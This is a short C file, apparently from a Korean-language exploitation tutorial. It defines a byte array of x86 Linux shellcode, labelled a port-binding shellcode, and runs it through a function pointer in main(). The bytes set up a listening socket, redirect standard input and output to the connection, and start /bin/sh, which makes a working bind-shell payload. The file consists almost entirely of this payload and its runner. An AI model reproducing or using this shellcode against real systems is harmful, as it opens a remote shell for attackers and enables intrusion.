port_bind_sc.c

char sc[]=  // our new port binding shellcode, all here to save pages
	"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0"
	"\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51"
	"\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0"
	"\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3"
	"\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80"
	"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
	"\xe1\xb0\x0b\xcd\x80";
main(){
	void (*fp) (void);	// 함수 포인터 fp 선언
	fp = (void *)sc;	// fp의 주소를 셸코드로 지정
	fp();			// 함수 실행(셸코드)
}